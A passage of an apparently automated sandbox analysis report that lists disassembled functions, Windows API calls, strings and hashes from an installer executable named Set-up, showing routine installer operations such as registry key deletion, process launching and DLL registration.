Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: Could not load %s, xrefs: 004024DB
Error registering DLL: Could not initialize OLE, xrefs: 004024F1
Error registering DLL: %s not found in %s, xrefs: 0040249A

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s
API String ID: 1033533793-945480824
Opcode ID: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction ID: e967fad4df15afb35ea17a6f8951328f27fda4bee3b51f855042d01f5ead75df
Opcode Fuzzy Hash: dad84e194389b7cbeb1d3ab4357ce8e64ef755489eaa46c5795f6130922e59d8
Instruction Fuzzy Hash: 34219131904208BBCF206FA1CE45E9E7A74AF40314F30817FF511B61E1D7BD4A819A5D

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00405C3F: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
Part of subcall function 00405C3F: CloseHandle.KERNEL32(?), ref: 00405C71

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: command="%s", xrefs: 00402241
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: success ("%s"), xrefs: 00402263

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction ID: 1f9fd54ce4b92d80b15c686f19ace2d36b15c716f321f29b17dee5dd027f7fd2
Opcode Fuzzy Hash: 6d54c557fbd6fdf8dc19518642d08f2325eb4e2a9a3136ddaf8bbf3ddc9e5317
Instruction Fuzzy Hash: 3E11C632904115EBDB11BBE0DE46AAE3A61EF00314B24807FF501B50D1CBBC4D41D79D

Function 0040484E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404869
GetMessagePos.USER32 ref: 00404871
ScreenToClient.USER32(?,?), ref: 00404889
SendMessageW.USER32(?,00001111,00000000,?), ref: 0040489B
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048C1

Strings

f, xrefs: 0040489D

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction ID: 7db1728360bf3821ce9645a1193633f180912fe022e8629b13ab7a69f18166cd
Opcode Fuzzy Hash: e83bf87fd3d3de8100a00259917b631f02ad10d2ae0db71d55c08ccb040208c3
Instruction Fuzzy Hash: C5015E7290021CBAEB00DBA4DD85BEEBBB8AF54710F10452ABB50B61D0D7B85A058BA5

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(00014200,00000064,?), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction ID: 2210906da4c477318a924a5c8cf459ae641b3a2c10b729e3aa38b42dd2c8d99c
Opcode Fuzzy Hash: 2242266ec469d88fb33e3e049bed9c2e1137abfcadbc35e47a6ba444652a7516
Instruction Fuzzy Hash: 98014470610109ABEF109F60DD49FAA3B69FB00349F00803DFA46B51E0DB7996558B58

Function 004043AD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 73stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00447240,%u.%u%s%s,?,00000000,00000000,?,FFFFFFDC,00000000,?,000000DF,00447240,?), ref: 0040444A
wsprintfW.USER32 ref: 00404457
SetDlgItemTextW.USER32(?,00447240,000000DF), ref: 0040446A

Strings

@rD, xrefs: 00404402
%u.%u%s%s, xrefs: 00404444

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$@rD
API String ID: 3540041739-1813061909
Opcode ID: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction ID: f1896056faf18a44ee7e341cc3389f256aee6b01e91544d35c55ed1e8b934206
Opcode Fuzzy Hash: 62d1a696c90b95282af5dc14f7046faf50b68b39d5c561db380251ecdb666397
Instruction Fuzzy Hash: EF11BD327002087BDB10AA6A9D45E9E765EEBC5334F10423BFA15F30E1F6788A218679

Function 00406038 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
CharNextW.USER32(?,?,?,00000000), ref: 004060AA
CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Strings

*?|<>/":, xrefs: 0040608A

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction ID: 6b5d27536512bbf775d32d1a11483b1b035cd55ac1fbc93341df7bc26af2800c
Opcode Fuzzy Hash: a05e433a329b084189efa29dbf9bba5ae0ab8f0c6b5464517f8198c591f21e0d
Instruction Fuzzy Hash: C611EB2184061559CB30FB659C4097BA6F9AE56750712843FE886F32C1FB7CCCE192BD

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000000.00000002.2049177203.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2049161770.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049192773.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000493000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.0000000000497000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049208517.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2049377355.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Set-up.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
